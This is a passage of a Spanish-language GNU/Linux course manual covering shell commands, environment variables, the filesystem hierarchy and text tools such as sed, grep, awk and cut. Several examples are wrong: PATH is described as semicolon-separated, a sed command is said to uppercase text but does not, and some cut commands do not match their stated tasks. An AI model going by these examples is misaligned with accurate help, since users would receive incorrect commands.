Nota: Éste es otro comando muy simple como pwd, su función consiste en presentar en
pantalla el “nombre de usuario” del usuario que lo ejecuta. Ejemplo:
jp

Comando “cal”
[jp@oraserv5 ~]$ cal
[jp@oraserv5 ~]$ cal 2011

Nota: Este es un comando bastante útil, que aunque no tenga mucha relación con los
anteriormente dados, sirve para demostrar que las herramientas basadas en texto no son
inútiles para tareas domésticas. cal es una herramienta que sirve para mostrar en
pantalla el calendario.

Comando “echo”
[jp@oraserv5 ~]$ echo "Academia Del Software Libre"
Academia Del Software Libre
[jp@oraserv5 ~]$ echo "El comando date Se encuentra en `which date`"
El comando date Se encuentra en /bin/date

Nota: Este comando escribe a la salida estándar la cadena de texto que se le pasa como
parámetro. Generalmente se utiliza sin opciones, es por eso que no se nombrarán en este
texto.

Comando “for”
Para quienes programan en otros lenguajes el comando for se comporta distinto a la
clásica sentencia for. Este comando asigna de una lista de elementos, el valor a una
variable y repite una lista de comandos con esa variable.
Si bien la explicación puede ser un poco confusa, el concepto es bastante fácil de
entender al ver un ejemplo.

for cantidad in dos tres cuatro cinco seis siete


do
echo ${cantidad} elefantes se balanceaban sobre la tela de una araña
echo como veían que resistía fueron a llamar a otro elefante...
done

dos (...) siete


son los elementos.

cantidad
es la variable que iteración a iteración va tomando los valores de la lista de
elementos

Diplomado de GNU/Linux
30
Fundación Código Libre Dominicano
http://www.codigolibre.org

do; echo (...);done


es el bloque de comandos a iterar.

Esta es la forma más simple de utilizar el comando for, pero con pocas variaciones se
puede realizar cosas muy útiles, por ejemplo:

for archivo in `ls`


do
touch ${archivo}
done

La lista de elementos se obtiene del resultado del comando ls. Es decir, primero se
ejecuta ls, el cual dará el listado de todos los archivos de un directorio, y a todos
esos archivos se les aplica un touch.

Nota: El comando touch cambia la fecha de modificación de un archivo a la fecha


actual.

1.5 Variables
¿Cómo definir variables de entorno?.
Dentro de nuestro sistema hay infinidad de estas variables cuya finalidad es configurar
de alguna manera el entorno de nuestra shell, como pueden ser marcar rutas de acceso
para algunos programas. Podemos asignarles valores de la siguiente forma:
zxguitar@zxlaptop:~$export http_proxy=’http://192.168.2.254:3128’

Al referirse al contenido de una variable en Unix es necesario anteponer el símbolo $


al nombre de la variable. Para conocer el contenido de una variable en concreto se
usará el comando ‘echo’:
zxguitar@zxlaptop:~$echo $http_proxy
http://192.168.2.254:3128

Para ver el contenido de las variables de entorno de nuestro sistema Linux en un


momento determinado podremos usar el comando set. Obtendremos un listado de todas las
variables y sus valores. Cuidado porque la lista es larga y fácilmente ocupará más de
una pantalla así que les recomendamos usar:
“set | more” para controlar el flujo de datos.

Manejo de Variables del Entorno


¿Variables de Entorno?
Una variable de entorno (también llamadas variables de ambiente)es un objeto designado
para contener información usada por una o más aplicaciones. Algunos usuarios
(especialmente aquellos nuevos en GNU/Linux) encuentran esto un poco extraño o
inmanejable. Sin embargo esto no es cierto: usando variables de entorno hace que
cualquiera pueda cambiar una opción de configuración para una o más aplicaciones
fácilmente.

Las variables son utilizadas para almacenar números, secuencias de caracteres e


informaciones en general. Una Variable de Ambiente es una variable establecida por el
sistema o por un usuario, en la línea de comando del sistema, y puede ser usada por

Diplomado de GNU/Linux
31
Fundación Código Libre Dominicano
http://www.codigolibre.org

cualquier programa. El Linux tiene diversas variables predefinidas tales como, nombre
de usuario, el directorio nombre y el nombre del sistema.
El comando env genera una lista de todas las variables persistentes definidas en su
shell, o sea, las variables que continúan existiendo igual después que el comando
actual o script finaliza. El resultado de esa salida es mostrado a seguir:
zxguitar@zxlaptop:~$ env

Definiendo variables locales Específicas de usuario


No siempre queremos definir variables de entorno globales. Por ejemplo, podríamos
querer añadir /home/my_user/bin y el directorio de trabajo actual (en el cual nos
encontramos), a la variable PATH, pero no queremos que todos los usuarios de nuestro
sistema lo tengan en su PATH. Si queremos definir una variable localmente, debemos usar
~/.bashrc o ~/.bash_profile:

Las variables del entorno almacenan valores que describen las propiedades del entorno
de trabajo. Un usuario puede definir sus propias variables o modificar las ya
existentes.
Para asignarle valor a una variable en el shell se emplea el operador de asignación
tradicional entre el nombre de la variable y el valor asignado (no deben haber espacios
intermedios).

Ej:
zxguitar@zxlaptop:~$ MENSAJE=“Hola Santo Domingo”

Para acceder al valor de una variable en el shell se emplea el carácter $ seguido por
el nombre de la variable. Para imprimir en la terminal el valor de una variable se
puede utilizar el comando echo.

Ej:
zxguitar@zxlaptop:~$echo $MENSAJE
Hola Santo Domingo

Dentro de un shell se pueden ejecutar otros shells que serían hijos del primero
(subshells) heredando todo o parte del entorno de trabajo del padre. Para que una
variable mantenga su valor en los shells hijos es necesario indicarlo explícitamente
mediante el comando export.

Ej:
zxguitar@zxlaptop:~$export MENSAJE

Tanto la asignación del valor como el exportar una variable se pueden hacer a la vez:
zxguitar@zxlaptop:~$export MENSAJE=“Hola Santo Domingo”

Para ver las variables del entorno definidas se puede emplear el comando set. Este
además se relaciona con las opciones que es otra forma de regir el comportamiento del
shell. Las opciones se activan (on) o desactivan (off). Estas se utilizan para indicar
propiedades del shell muy específicas por lo que no nos vamos a detener en ellas. Si se
desea conocer más al respecto se puede hacer:
zxguitar@zxlaptop:~$help set | less.

Para eliminar el valor de una variable

Diplomado de GNU/Linux
32
Fundación Código Libre Dominicano
http://www.codigolibre.org

zxguitar@zxlaptop:~$unset MENSAJE

En sistemas UNIX, las variables del entorno están precedidas por el carácter "$" y se
ubican entre corchetes, aunque éstos no son obligatorios. Debido a la variedad en los
sistemas UNIX (particularmente a las diferentes distribuciones Linux), para que se
muestre el valor de una variable del entorno sólo se debe escribir uno de los
siguientes comandos:
echo $VARIABLE

echo ${VARIABLE}

A continuación se proporciona una lista incompleta de las principales variables del


entorno en un sistema UNIX:
Variable del entorno Descripción
$ARCH Contiene la descripción de la arquitectura del equipo.
Contiene la identificación de la terminal de visualización que se
$DISPLAY
utilizará en el administrador de ventanas (x11).
$HOME Muestra la ruta de acceso al directorio actual del usuario.
$HOST Muestra el nombre del equipo.
$LANG Muestra el código del idioma predeterminado.
Muestra una lista de rutas de acceso a los directorios que
$PATH
contienen archivos ejecutables, separadas por punto y coma.
$PRINTER Contiene el nombre de la impresora predeterminada.
$SHELL Indica la ruta del intérprete de comandos utilizado.
$USER Muestra la identificación del usuario actual.

1.6 Archivos ocultos


En linux y de hecho en cualquier sistema unix-like (basados en unix) los archivos
ocultos se crean anteponiendo un punto “.” en el nombre, de ésta forma si exploramos la
carpeta donde creamos ese archivo que inicia con un “.” no lo encontraremos.

zxguitar@zxlaptop:~$ls
zxguitar@zxlaptop:~$ls -a
zxguitar@zxlaptop:~$ls .bashrc

Nota: los archivos ocultos en GNU/Linux comienzan con un “.”[punto]

1.7 Completando comandos con TAB


zxguitar@zxlaptop:~$ls . [TAB][TAB]
zxguitar@zxlaptop:~$ls arch[TAB]

Nota: cuando vea que dice “[TAB][TAB]” significa que debe teclear la tecla [TAB] dos
veces para que complete el archivo o los archivos que comienzan con “.”. En el segundo
ejemplo si tenemos dos archivos que se llamen “archivo y archivo-diferente”, la tecla
[TAB] completara el nombre hasta “archivo” ya que hasta ahí, ambos nombres son iguales.
Si quieres usar el otro archivo que se llama “archivo-diferente” entonces pones el

Diplomado de GNU/Linux
33
Fundación Código Libre Dominicano
http://www.codigolibre.org

caractér que sigue que seria “-” y luego presionas [TAB][TAB] y en caso de no haber
otro archivo que tenga otro parecido, lo completara hasta el final.

1.8 Alias
Alias permite llamar a un comando, con sus opciones, de otra forma; por ejemplo,
zxguitar@zxlaptop:~$alias dir='ls -alt'

Esto permitirá sustituir el comando “ls” con sus opciones por el comando “dir”. La
orden “alias” sin ninguna opción da todos los comandos que hay definidos de esa forma;
y “unalias” elimina un alias.

1.9 Comando history


Este comando te da un historial de los últimos comandos utilizados, te da también un
numero al lado que indica la línea donde esta. History nos da también otras opciones
con el signo de admiración “!”.
zxguitar@zxlaptop:~$history

Ejecuta el ultimo comando


zxguitar@zxlaptop:~$!!

Ejecuta el comando #505


zxguitar@zxlaptop:~$!505

Ejecuta el último comando que comenzó con “ls”


zxguitar@zxlaptop:~$!ls

Lista los últimos 30 comandos


zxguitar@zxlaptop:~$ history 30

1.10 Practica Básico Capitulo 1

2.0 Jerarquía de Directorios


La estructura del sistema de archivo de GNU/Linux es jerárquica, partiendo de su
archivo principal (/), este tipo de estructura, similar a un árbol, nos indica donde
podemos encontrar nuestros archivos.

2.1 Estructura de directorios


El Filesystem Hierarchy Standard (FHS, en español Estándar de jerarquía del sistema de
archivos) es una norma que define los directorios principales y sus contenidos en el
sistema operativo GNU/Linux y otros sistemas de la familia Unix. Se diseñó
originalmente en 1994 para estandarizar el sistema de archivos de las distribuciones de
Linux, basándose en la tradicional organización de directorios de los sistemas Unix. En
1995 se amplió el ámbito del estándar a cualquier Unix que se adhiriese
voluntariamente.

El proceso de desarrollo de una jerarquía de sistema de archivos estándar comenzó en


agosto de 1993 con un esfuerzo enfocado a reestructurar el archivo y la estructura
Linux. El FSSTND (Estándar del Sistema de Archivos), un estándar de la jerarquía del
sistema de archivos específico del sistema operativo Linux, fue liberado el 14 de

Diplomado de GNU/Linux
34
Fundación Código Libre Dominicano
http://www.codigolibre.org

febrero de 1994. Revisiones posteriores fueron liberadas el 9 de octubre de 1994 y el


28 de marzo de 1995.
A principios de 1996, el objetivo de desarrollar una versión más comprensiva del
FSSTND para direccionar no sólo a Linux, sino a otros sistemas derivados de UNIX, fue
adoptado con la ayuda de miembros de la comunidad de desarrollo de BSD. Por
consiguiente, un concentrado esfuerzo fue realizado para centrarse en hechos que fueran
generales para los sistemas derivados de UNIX. En reconocimiento a esta amplitud del
alcance, el nombre del estándar fue cambiado Estándar de Jerarquía del Sistema de
Archivos, o FHS para abreviar.
El FHS es mantenido por el Grupo de Estándares Libres (Free Standards Group, hoy
The Linux Foundation), una organización no lucrativa conformada por los principales
vendedores de software y hardware, tales como: HP, Red Hat, IBM y Dell.
De todos modos, la gran mayoría de las distribuciones Linux, incluyendo aquellas
desarrolladas por los miembros del Grupo de Estándares Libres (Free Standars Group), no
siguen este estándar propuesto. En particular, caminos ( path), expresamente creados por
los redactores del FHS, como por ejemplo /srv/, no es usado extensamente. Algunos
sistemas Linux rechazan el FHS en favor de un enfoque diferente, como es el caso de
GoboLinux.
Desde que FHS comenzó como una iniciativa Linux, otros sistemas operativos derivados de
UNIX, generalmente la han ignorado en favor de sus propios sistemas, los cuales a veces
varían ampliamente. Por ejemplo, Mac OSX usa nombre como /Library, /Applications/, y
/Users/ junto con la jerarquía de directorios tradicional de UNIX.

2.2 /
Directorio raíz, donde todo empieza. Para arrancar el sistema, debe estar presente lo
suficiente como para montar '/usr' y otras partes co-esenciales del sistema de
archivos. Esto incluye herramientas, información de configuración y del cargador de
arranque (boot loader) y alguna otra información esencial al arrancar.
Para habilitar la recuperación y/o la reparación del sistema, estará presente en el
sistema de archivos raíz aquellas herramientas que un administrador experimentado
necesitaría para diagnosticar y reconstruir un sistema dañado.
Los errores del disco, que corrompen la información en el sistema de archivos '/' son
un problema mayor que los errores en cualquier otra partición. Un sistema de archivos /
pequeño es menos propenso a corromperse como resultado de un fallo del sistema.
La principal preocupación que se usa para balancear las anteriores consideraciones, que
favorecen el colocar muchas cosas en el sistema de archivos raíz, es la de mantener '/'
tan pequeño como sea razonablemente posible.
[sahirys@sarys ~]#ls /
/
bin
boot
dev
etc
home
lib
media
mnt
opt

Diplomado de GNU/Linux
35
Fundación Código Libre Dominicano
http://www.codigolibre.org

root
sbin
tmp
usr
var
proc
sys

2.3 /home/
Directorios home de los usuarios. Home es un concepto, algo estándar, bajo home esta lo
que comúnmente se denominaría los directorios hogar de los usuarios, aun así es
recomendable que todas las distribuciones Linux usen este lugar como la localización
por defecto de los directorios hogar.
En sistemas pequeños, cada directorio de usuario es uno de los subdirectorios debajo de
/home, p.ej. /home/sahirys, /home/francis, /home/perpinan, etc.

2.4 /var/
Información variable. El sistema necesita con frecuencia una zona de trabajo temporal.
Si solo se requiere usar un espacio por un corto periodo de tiempo se puede usar
'/tmp', pero muchas veces la información conviene manejarla y almacenarla en un lugar
más permanente. El sistema puede sufrir una caída repentina y el contenido de '/tmp'
puede ser borrado durante el arranque o depurado regularmente mediante alguna tarea
periódica. Por el contrario '/var' contiene todo tipo de información alguna de ella
puede ser importante.
[sahirys@sarys ~]#ls /var

lib Información del estado de aplicaciones


local Información variable del software de /usr/local
lock Archivos de bloqueo
log Archivos de bitácora
named Archivos DNS, solo red
nis Base de datos NIS
run Archivos relevantes a procesos ejecutándose
spool Directorios de trabajos en fila para realizarse después, utilizado
para mantener /tmp pequeño

2.5 /usr/
Segunda jerarquía mayor. '/usr' es la segunda mayor sección del sistema de archivos.
usr es información compartible, de solo lectura, esto significa que debe ser
compartible entre varias maquinas que corren LINUX y no se debe escribir. Cualquier
información que es local a una máquina o varía con el tiempo, se almacena en otro
lugar. Ningún paquete grande (como TeX o GNUEmacs) debe utilizar un subdirectorio
directo bajo '/usr', en vez, debe haber un subdirectorio dentro de '/usr/lib' (o
'/usr/local/lib' si fué instalado completamente local) para ese propósito, con el
sistema X Window se hace una excepción debido a un considerable precedente y a la
práctica ampliamente aceptada

X11R6 Sistema X Window Version 11 release 6


X386 Sistema X Windows Version 11 release 5 en plataformas X 86
Bin La mayoría de los comandos de usuario

Diplomado de GNU/Linux
36
Fundación Código Libre Dominicano
http://www.codigolibre.org

Dict Listas de palabras


doc Documentación miscelánea
etc Configuración del Sistema (todo el site)
games Juegos y binarios educacionales
include Archivos header incluidos por programas C
info Directorio primario del sistema GNU Info
lib Librerías
man Manuales en línea
sbin Binarios de Administración del Sistema No-Vitales
share Información independiente de la arquitectura
src Código fuente

/usr/local
Jerarquía local
La jerarquía '/usr/local' está para ser utilizada por el administrador del sistema
cuando se instale el software localmente. Necesita estar a salvo de ser sobrescrito
cuando el software del sistema se actualiza. Puede ser usado por programas y por
información que son compartibles entre un grupo de máquinas, pero no se encuentran en
'/usr'.
bin Binarios solo-locales
doc Documentación local
etc Binarios de configuración solo-local
games Juegos instalados localmente
lib Librerías para /usr/local
info Páginas de info local
man Jerarquías de páginas de manual para /usr/local
sbin Administración del sistema solo-local
scr Código fuente local.

/usr/sbin
Binarios de sistema estándar no-esenciales. Este directorio contiene cualesquier
binario no-esencial utilizando exclusivamente por el administrador del sistema. Los
programas de administración del sistema que sean requeridos para la reparación del
sistema, recuperación del sistema, montaje de /usr u otras funciones esenciales deben
localizarse en /sbin en vez de aquí. Típicamente /usr/sbin contiene los deamons de red,
cualquier herramienta de administración no-esencial y binarios para programas
servidores no-críticos. Esto incluye los deamons de internet que son llamados por inetd
(llamados in.*) tales como in.telnetd y in.fingerd y los deamons basados en rpc
manejados por portmap (llamados rcp.*) tales como rcp.infsd y rcp.mountd. Estos
programas servidores son utilizados cuando se entra en un estado que el System V conoce
como "run level 2" (estado multi-usuario) y el "run level 3" (estado en-red) o el
estado que el BSD conoce como "modo multi-usuario". En este punto se hacen disponibles
los servicios para los usuarios (p. ej. soporte de impresión) y hacia otras máquinas
(p. ej. exportar NFS)

/usr/share
Información Independiente de Arquitectura.
Cualquier especificación para /usr/share se incluirá en un documento suplementario al
FSSTND. /usr/share no es necesario en la mayoría de los sistemas Linux

/usr/src

Diplomado de GNU/Linux
37
Fundación Código Libre Dominicano
http://www.codigolibre.org

Código fuente.
Cualquier código fuente no-local debe localizarse en este directorio. El único código
fuente que siempre debe localizarse en un lugar específico es el código del kernel
(cuando exista o esté enlazado como parte de una estructura en /usr/include). Se pueden
usar subdirectorios si se desea. El código fuente para el kernel debe siempre estar en
su lugar o al menos los archivos include del código del kernel.

2.6 /opt/
Para colocar software que no fue incluida en el sistema operativo. El directorio /opt/
proporciona un área para almacenar habitualmente paquetes de software de una aplicación
estática y amplia.
Un paquete colocando archivos en el directorio /opt/ crea un directorio con el mismo
nombre del paquete. Este directorio en su lugar guarda archivos que de otra forma
estarían esparcidos por el sistema de archivos, dándole así al administrador del
sistema una forma fácil de determinar el papel de cada archivo dentro de un paquete
particular. Por ejemplo, si sample fuese el nombre de un paquete de software particular
localizado en el directorio /opt/, todos sus archivos podrían ser emplazados en
directorios dentro de /opt/sample/, tales como /opt/sample/bin/ para binarios y
/opt/sample/man/ para páginas de manual. Los paquetes grandes que abarcan diferentes
subpaquetes, cada uno de los cuales desempeñan una tarea específica, también se ubican
dentro de /opt/, aportando a este gran paquete un modo estándar de organizarse. De este
modo, el paquete sample puede tener diferentes herramientas que cada una irá en sus
propios subdirectorios, tales como /opt/sample/tool1/ y /opt/sample/tool2/, cada uno de
los cuales puede tener su propio bin/, man/ y otros directorios similares.

2.7 /proc/
Sistema de archivo virtual (información del kernel) Este directorio es un directorio
muy especial. Es un directorio en el cual está montado un sistema de archivos virtual.
En realidad muestra información que no reside en ningún dispositivo sino que es
elaborada por el propio kernel. Por ello se trata de falsos archivos. Su ocupación en
disco es 0. Sirve para comprobar la configuración y el funcionamiento del kernel. Lo
que interesa comentar es que aquí la presentación en forma de sistema de archivos es
una simulación y se hace así para que pueda ser manejada exactamente de la misma forma
que si realmente estuviera contenida en directorios y archivos.
Algunos de estos archivos son de solo lectura otros son de lectura y escritura y
permiten cambiar la configuración del kernel sin detenerlo. Evidentemente todo ello
está configurado con los permisos adecuados para mantener la seguridad del sistema.
Si miramos dentro del directorio '/proc' veremos que hay un montón de directorios cuyo
nombre es un número. Estos directorios representan cada uno a un proceso por su pid.

Para obtener información de la memoria


[sahirys@sarys ~]#cat /proc/meminfo

Para obtener información de los discos en nuestro equipo


[sahirys@sarys ~]#cat /proc/partitions

Obtener información del procesador


[sahirys@sarys ~]#cat /proc/cpuinfo

Diplomado de GNU/Linux
38
Fundación Código Libre Dominicano
http://www.codigolibre.org

2.8 /etc/
Configuración del sistema local-máquina. Aquí se guardan los archivos de configuración
de los programas instalados, así como ciertos scripts que se ejecutan en el inicio del
sistema. Los valores de estos archivos de configuración pueden ser complementados o
sustituidos por los archivos de configuración de usuario que cada uno tiene en su
respectivo “home” (carpeta personal).

Para leer el archivo que contiene el mensaje del día (mensaje que vemos una vez que el
usuario hace login)
[sahirys@sarys ~]#cd /etc;cat motd

Para ver los particiones actualmente montadas


[sahirys@sarys ~]#cat mtab

Para ver los usuarios del sistema


[sahirys@sarys ~]#cat passwd

2.9 /bin
Binarios de comandos esenciales disponibles para todos los usuarios. bin contiene
comandos que pueden ser utilizados por ambos los usuarios y el administrador del
sistema, pero que son requeridos en el modo mono-usuario (single-user mode) puede
también contener comandos que son utilizados indirectamente por algunos scripts.
Todos los binarios utilizables sólo por root, tales como daemons, init, getty, update,
etc. Estarían localizados en /sbin ó /usr/sbin dependiendo si son o no esenciales.
No habrá subdirectorios dentro de /bin. Los binarios de los comandos que no son
suficientemente esenciales para estar en /bin estarán localizados en /usr/bin. Comandos
como ls, cp, mv, mkdr

2.10 /sbin
Binarios del sistema esenciales. Los útiles usados por la administración del sistema (y
otros comandos que sólo root utiliza) están almacenados en /sbin, /usr/sbin, y
/usr/local/sbin. /sbin típicamente contiene binarios esenciales para arrancar el
sistema además de los binarios en /bin. Cualquier cosa que se ejecuta después de que se
sabe que /usr se ha montado (cuando no hay problemas) debería estar en /usr/sbin. Los
binarios de administración de sistema sólo-locales deben estar localizados en
/usr/local/sbin.
Decidir que cosa va en los directorios de /sbin es sencillo: Si un usuario necesitará
ejecutarlo, debe de ir en otro lado. Si sólo será ejecutado por el administrador del
sistema o por root como scripts de administración, entonces debe ir en /sbin (o en
/usr/sbin o en /usr/local/sbin, si el archivo no es vital para la operación del
sistema).
Archivos como chfn que los usuarios usan sólo ocasionalmente deben aun estar en
/usr/bin. ping aunque es absolutamente necesario para el root (recuperación de la red y
diagnóstico) es también frecuentemente usado por los usuarios y por esa razón debe ir
en /bin. Los usuarios ordinarios no tendrán que poner ninguno de los directorios sbin
en su búsqueda.

Es recomendable que los usuarios tengan permisos de lectura y ejecución en todo lo que
se encuentra en /sbin excepto tal vez ciertos programas; setuid y setgid. La división
entre /sbin y /bin no fue creada por motivos de seguridad o para evitar que los

Diplomado de GNU/Linux
39
Fundación Código Libre Dominicano
http://www.codigolibre.org

usuarios vieran el sistema operativo, sino para proveer una buena partición entre
binarios que todos usan y los que se usan, principalmente las tareas de administración.
No hay ganancia inherente en seguridad en hacer que /sbin este fuera del alcance de los
usuarios.

2.11 /tmp
Archivos temporales. tmp se utiliza para archivos temporales, preferentemente en un
dispositivo rápido (un sistema de archivos basado en memoria por ejemplo) La
"persistencia" de la información que es almacenada en /tmp es diferente de aquella que
sea almacenada en /var/tmp. /tmp puede ser limpiada en cada arranque o a intervalos
relativamente frecuentes. Por tanto, no se debe esperar que la información almacenada
en /tmp permanezca por algún periodo largo de tiempo.
Los programas deben utilizar /tmp ó /var/tmp (que era originalmente /usr/tmp) de
acuerdo a los requerimientos esperados de la información, pero no deben confiar en
alguna persistencia temporal particular en cualquier directorio de almacenamiento
temporal. Los administradores de sistemas pueden elegir enlazar /tmp a algún otro
directorio, tal como /var/tmp; esto es útil, por ejemplo, para conservar espacio en la
partición raíz. Si esto se lleva a cabo, entonces la persistencia de archivos en
/var/tmp debe ser al menos tan larga como la de /tmp. tmp puede estar e un disco
RAM. /var/tmp no debe nunca localizarse en algún dispositivo RAM.

2.12 /boot
Este directorio contiene todo para arrancar excepto los archivos de configuración y el
instalador de mapas. En su sentido más sencillo /boot es para cualquier cosa que se
utiliza antes de que el kernel ejecute /sbin/init. Esto incluye sectores maestros de
arranque (master boot sectors) guardados, archivos de mapeo de sectores y cualquier
otra cosa que no es editada directamente a mano. Los programas necesarios para arreglar
que el cargador de arranque sea capaz de arrancar un archivo (tal como el instalador de
mapas [lilo]) estarán localizados en /sbin. Los archivos de configuración para
cargadores de arranque podrían estar localizados en /etc.
Como se expuso arriba, el kernel de Linux puede estar localizado en / ó en /boot, si se
localiza en /boot, recomendamos que se le dé un nombre más descriptivo.

2.13 /mnt
Este directorio se ha provisto para que el administrador pueda montar temporalmente
sistemas de archivos cuando lo necesite. El contenido de este directorio es un asunto
local y no debe afectar la manera en la cual se ejecuta ningún programa.
Es recomendable la no utilización de este directorio por programas de instalación, y
sugerimos utilizar un directorio temporal adecuado que no esté en uso por el sistema.

2.14 /lib
Librerías compartidas y módulos de kernel esenciales. El directorio /lib contiene
aquellas imágenes de las librerías compartidas que se necesitan para arrancar el
sistema y ejecutar los comandos en el sistema de archivos raíz.
Esto incluye /lib/libc.so.*, /lib/libm.so.*, el enlazador dinámico compartido
/lib/ld.so.*, y otras librerías compartidas requeridas por binarios en /bin y /sbin.
Las librerías que son necesitadas sólo por los binarios en /usr (como cualquier binario
de X Window) no pertenecen a /lib. Sólo las librerías compartidas requeridas para
ejecutar los binarios dentro de /bin y /sbin deben estar aquí. La librería libm.so.*

Diplomado de GNU/Linux
40
Fundación Código Libre Dominicano
http://www.codigolibre.org

podría estar localizada en /usr/lib si no es requerida por nada en /bin ó /sbin.


Por razones de compatibilidad, /lib/cpp necesita existir como una referencia al pre-
procesador C instalado en el sistema. La localización usual del binario es
/usr/lib/gcc-lib/<target>/<version>/cpp. Puede existir un enlace /lib/cpp apuntando a
este binario o a cualquier otra referencia a este binario que exista en el sistema de
archivos. (Por ejemplo, /usr/bin/cpp se usa frecuentemente).

2.15 Practica Básico Capitulo 2

3.0 Expresiones Regulares y flujos de texto


Una expresión regular es una forma abreviada de representar cadenas de caracteres que
se ajustan a un determinado patrón. También podríamos definir como un patrón que que
engloba un conjunto de secuencias de caracteres parecidos.

3.1 Comodines
Estos son meta-caracteres utilizados para cortar y facilitar las cosas mas usuales
como son la selección de archivos.

? Un carácter cualquiera excepto salto de linea.


[jp@oraserv5 ~]$ ls /dev/tty?

* Representa uno o mas caracteres.


[jp@oraserv5 ~]$ ls /dev/tty*

.. El nivel anterior de la ubicación actual.


zxguitar@zxlaptop:/etc$ cd ..
zxguitar@zxlaptop:/$

. La ubicación actual, es decir, donde se encuentra.


zxguitar@zxlaptop:~$ cp /etc/passwd .

| Filtro la salida de un comando por otro.


zxguitar@zxlaptop:~$ cat /etc/passwd | less

|| Separador de elementos(si el 1ro. no funciona, procede con el 2do.).


zxguitar@zxlaptop:~$ ls -l /dev/ || less

^ Significa inicio de linea


zxguitar@zxlaptop:~$ grep “^d” /etc/passwd

$ Fin de linea (mostraría lo que termine con 's')


zxguitar@zxlaptop:~$ ls -l |grep s$

[] Conjunto de caracteres admitidos.


zxguitar@zxlaptop:~$ ls /dev/sda[0-9]

[^] Conjunto de caracteres no admitidos.


zxguitar@zxlaptop:~$ ls /dev/sda[^0-5]

Diplomado de GNU/Linux
41
Fundación Código Libre Dominicano
http://www.codigolibre.org

; En la shell se ejecuta un solo comando por línea; a menos que uses


punto y coma.
[jp@oraserv5 ~]$ ls -ltrh /etc/ ; date; pwd

3.2 Tuberías
Se utiliza para concatenar la salida estándar de un comando con la entrada estándar de
otro.

En este ejemplo, la salida del comando se le redirecciona para que sea la entrada del
comando less
[root@server ~]# ls /etc/passwd |less

3.3 sed, grep y awk

sed
sed es un editor de flujo, una potente herramienta de tratamiento de texto para el
sistema operativo Unix que acepta como entrada un archivo, lo lee y modifica línea a
línea de acuerdo a un script, mostrando el resultado por salida estándar (normalmente
en pantalla, a menos que se realice una redirección). Sed permite manipular flujos de
datos, como por ejemplo cortar líneas, buscar y reemplazar texto (con soporte de
expresiones regulares), entre otras cosas. Posee muchas características de “ed” y “ex”.

Ej:
Reemplace todas las palabras nologin en el archivo /etc/passwd por login y guárdelo en
un archivo llamado fundacion.txt.
[francisco@server ~]$ sed -e 's/nologin/login/g' /etc/passwd>fundacion.txt

Cree un texto con varias lineas llamado Codigo.txt y agrégele la palabra Universidad en
cada linea y guarde este archivo ya modificado con el nombre Codigo.pdf.
[francisco@server ~]$ cat Codigo.txt| sed 's/^/Universidad/g' > Codigo.pdf

En el mismo archivo agregue la palabra “Fundacion” al final de cada linea


[francisco@server ~]$ cat Codigo.txt| sed 's/$/Universidad/g' > Codigo.pdf

En el archivo anterior llamado Codigo.txt que creo cambie toda la minúscula por
mayúscula
[francisco@server ~]$ sed '1,$ s/[a-z]/[A-Z]/g' Codigo.txt

grep
grep es una utilidad de la línea de comandos escrita originalmente para ser usada con
el sistema operativo Unix. Usualmente, grep toma una expresión regular de la línea de
comandos, lee la entrada estándar o una lista de archivos, e imprime las líneas que
contengan coincidencias para la expresión regular.
Su nombre deriva de un comando en el editor de texto “ed” que tiene la siguiente forma:
“g/re/p” y significa «hacer una búsqueda global para las líneas que encajen con la
expresión regular (regular expression en inglés),p e imprimirlas». Hay varios
argumentos que se pueden usar con grep para modificar el comportamiento por defecto.
Existen otros retroacrónimos (incorrectos) para el nombre, entre ellos: General Regular
Expression Parser (analizador general de expresiones regulares), General Regular

Diplomado de GNU/Linux
42
Fundación Código Libre Dominicano
http://www.codigolibre.org

Expression Print(imprimir expresión regular general), y Global Regular Expression Print


(imprimir expresión regular global), éste último no tan lejano de la realidad.

El comando grep (global regular expresion print) busca un patrón o cadena simple de
caracteres dentro del contenido de un archivo.

Buscar la palabras que se igualen a root en el archivo /etc/passwd


[francisco@server ~]$ grep -i root /etc/passwd

Visualizar cuantas veces apareces en palabra nologin en archivo /etc/passwd


[francisco@server ~]$ grep -c nologin /etc/passwd

Imprimir la linea y su numero de la palabra root en el archivo /etc/passwd


[francisco@server ~]$ grep -n root /etc/passwd

Imprimir las lineas que empiecen con la g en el archivo /etc/passwd


[francisco@server ~]$ grep “^g” /etc/passwd

Ejecute un ls -l en el directorio actual e imprima la primera y la tercera linea

awk
Es un lenguaje de reconocimiento y procesamiento de patrones, por omisión lee la
entrada estándar y escribe en la salida estándar
[francisco@server ~]$ ls -s |awk '{print $1,$2}'

Imprimir la fecha y la hora del sistema en formato largo con el comando awk
[francisco@server ~]$ date |awk '{print $1; print $2; print $4; print $5;}'

Cree un archivo llamado operación con dos columnas numéricas y realizas un operación de
suma.
[francisco@server ~]$ awk '{$1=$2+$3; print $0}' operacion

3.4 sort
El comando sort se utiliza para listar en orden alfabética o numérica, además el
comando sort puede anidar uno o varios archivos.
[francisco@server ~]$ sort -d text.txt

Cree un archivo llamado num.pdf que contenga un numero por fila de manera aleatoria y
luego ordenelo
[francisco@server ~]$ sort -n num.pdf

3.5 cut
El utilitario cut selecciona caracteres desde la entrada y lo envía a la salida
estándar puede cortar columna delimitadas por tabuladores.

Crear un archivo llamado comando con varias lineas y luego cortar los primeros 3
caracteres de cada palabra.
[francisco@server ~]$ cut -c 1-4 Codigo.txt

Cortar la columna 2 de archivo /etc/passwd separado por dos puntos

Diplomado de GNU/Linux
43
Fundación Código Libre Dominicano
http://www.codigolibre.org

[francisco@server ~]$ cut -d ":" -f2 /etc/passwd

Visualizar las columna uno y cinco del archivo /etc/passwd


[francisco@server ~]$ cut -d ":" -f1-3 /etc/passwd

3.6 expand
Este utilitario se usa para cambiar los tabuladores a un numero especifico de espacio.

Cree un archivo con dos columnas tabuladas y luego cambie la tabulación por tres
espacios luego guárdelo en un archivo llamado
[francisco@server ~]$ expand -t 3 Codigo.txt > tabular.txt

Cambiar el archivo a espacio de tabulación como el archivo original


[francisco@server ~]$ expand -i tabular.txt > tabular02.txt

3.7 mount
El comando mount nos permite montar sistema de archivos en un dispositivo o partición.

Montar el dispositivo de cdroon en /mnt


[root@server ~]# mount /dev/cdrom /mnt/

Luego desmonta este dispositivo


[root@server ~]# umount /dev/cdrom /mnt/

Este procedimiento es el mismo (claro tomando en cuenta el sistema de archivo de cada


disco, dispositivo o partición) para montajes y desmontajes

3.8 paste
Este utilitario paste junta las lineas correspondientes de los archivos nombrados y
envía la salida a la pantalla

Fusione las líneas de estos dos archivos una al lado de la otra, separándolo con “:” y
guárdela salida a otro archivo
